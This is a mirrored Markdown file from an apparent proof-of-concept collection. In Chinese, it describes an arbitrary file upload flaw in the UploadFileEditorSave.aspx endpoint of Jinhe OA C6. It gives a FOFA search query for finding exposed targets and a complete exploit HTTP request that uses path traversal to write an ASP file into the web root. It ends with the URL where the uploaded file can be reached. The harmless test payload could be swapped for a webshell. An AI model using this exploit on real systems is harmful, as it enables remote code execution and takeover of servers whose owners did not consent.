mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
33 lines
906 B
Markdown
33 lines
906 B
Markdown
|
|
## 金和OA_uploadfileeditorsave接口存在任意文件上传漏洞
|
||
|
|
|
||
|
|
金和-c6 uploadfileeditorsave 任意文件上传,攻击者可通过此漏洞获取服务器权限
|
||
|
|
|
||
|
|
## fofa
|
||
|
|
```
|
||
|
|
app="金和网络-金和OA"
|
||
|
|
```
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
POST /C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\qps4cckjuz.asp HTTP/1.1
|
||
|
|
Host: your_ip
|
||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
|
||
|
|
Connection: close
|
||
|
|
Content-Length: 191
|
||
|
|
Content-Type: multipart/form-data; boundary=----9fh1lo9qobtszaiahg6v
|
||
|
|
Accept-Encoding: gzip, deflate
|
||
|
|
|
||
|
|
------9fh1lo9qobtszaiahg6v
|
||
|
|
Content-Disposition: form-data; name="file"; filename="qps4cckjuz.jpg"
|
||
|
|
Content-Type: image/png
|
||
|
|
|
||
|
|
<% response.write(111*111)
|
||
|
|
%>
|
||
|
|
|
||
|
|
------9fh1lo9qobtszaiahg6v--
|
||
|
|
```
|
||
|
|

|
||
|
|
|
||
|
|
访问上传文件路径:
|
||
|
|
http://your_ip/C6/qps4cckjuz.asp
|